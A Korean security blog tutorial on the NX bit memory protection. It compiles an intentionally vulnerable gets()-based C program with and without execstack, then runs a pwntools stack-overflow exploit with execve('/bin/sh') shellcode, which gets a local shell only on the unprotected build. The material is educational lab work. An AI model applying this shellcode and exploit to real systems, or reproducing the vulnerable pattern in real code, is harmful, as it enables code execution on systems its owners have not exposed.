미친해커

[Memory Protection] NX Bit (Never eXecute Bit) 본문

Hacking/Memory Protection Tech

[Memory Protection] NX Bit (Never eXecute Bit)

미친해커 2021. 6. 20. 03:20
반응형

NX Bit (Never eXecute bit, 실행 방지 비트)

NX Bit 보호기법이란 프로세서 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 CPU의 기술이다. NX 특성으로 지정된 모든 메모리 구역은 데이터 저장을 위해서만 사용되며, 프로세서 명령어가 그 곳에 상주하지 않음으로써 실행되지 않도록 만들어 준다. 실행 보호라는 일반 기술은 특정한 종류의 악성 소프트웨어를 컴퓨터에 들어오지 못하게 막는 데 사용된다. 악성 소프트웨어의 경우 자신의 코드를 다른 프로그램의 자료 기억 영역에 심어 놓은 다음 이 구역 안에서 자신의 코드를 실행하게 만들며, 이를 Buffe rOverFlow(버퍼 오버플로우) 공격이라고 한다.

간단 요약

NX Bit는 데이터 영역과 코드 영역을 나누어 데이터 영역은 실행하지 못하도록 실행권한을 제외하고 읽기와 쓰기 권한만 부여하여 데이터 영역에 어셈블리를 작성하여 실행하는 공격기법을 방어하기 위한것이다.

(NX Bit 보호기법은 섹션이 아니라 stack과 heap에 적용된다)

보호기법 확인

#include <stdio.h>

int main()
{
        char buf[64];
        printf("buf : %p\n", buf);
        gets(buf);
        return 0;
}

다음과 같은 C언어 코드가 있다. 이 코드를 각각 GCC로 컴파일하는데 하나는 NX를 활성화 하나는 비활성화를 시켜서 컴파일을 한다.

gcc NX.c -o NX-enable               # NX 활성화
gcc -z execstack NX.c -o NX-disable # NX 비활성화
┌──(root💀kali)-[~/blog/Memory_Protection/NX]
└─# checksec NX-enable 
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

┌──(root💀kali)-[~/blog/Memory_Protection/NX]
└─# checksec NX-disable  
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

2개의 바이너리를 대상으로 stack에 shellcode를 넣고 ret 주소를 stack 주소로 덮어씌우고 결과를 확인한다.

# file : NX.py
from pwn import *

#p = process('NX-enable')
#p = process('NX-disable')

shellcode = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'

p.recvuntil('buf : ')

buf_addr = int(p.recv(14), 0)

payload = shellcode + 'A' * (72 - len(shellcode)) + p64(buf_addr)

p.sendline(payload)
p.interactive()

exploit 코드는 다음과 같다.

1. buf의 주소를 받아온다.

2. shellcode를 입력하고 BOF를 발생시켜 ret 주소를 buf의 주소로 덮는다.

┌──(root💀kali)-[~/blog/Memory_Protection/NX]
└─# python NX.py
[!] Could not find executable 'NX-enable' in $PATH, using './NX-enable' instead
[+] Starting local process './NX-enable': pid 84411
[*] Switching to interactive mode

[*] Process './NX-enable' stopped with exit code -11 (SIGSEGV) (pid 84411)
[*] Got EOF while reading in interactive
$ ls
[*] Got EOF while sending in interactive

NX가 걸려있는 바이너리에서는 exit code -11 을 뱉어내며 프로세스가 종료된다.

┌──(root💀kali)-[~/blog/Memory_Protection/NX]
└─# python NX.py
[!] Could not find executable 'NX-disable' in $PATH, using './NX-disable' instead
[+] Starting local process './NX-disable': pid 84428
[*] Switching to interactive mode

$ ls
NX-disable  NX-enable  NX.c  NX.py  core
$ 
[*] Interrupted
[*] Stopped process './NX-disable' (pid 84428)

하지만 이렇게 NX가 걸려있지 않은 바이너리는 stack 영역에 있는 shellcode가 그대로 실행 되 Shell을 따낸걸 볼 수 있다.

 

이렇게 stack과 heap에 있는 shellcode를 실행하지 못하게 하는 NX 보호 기법에 대해서 알아보았다.

반응형
Comments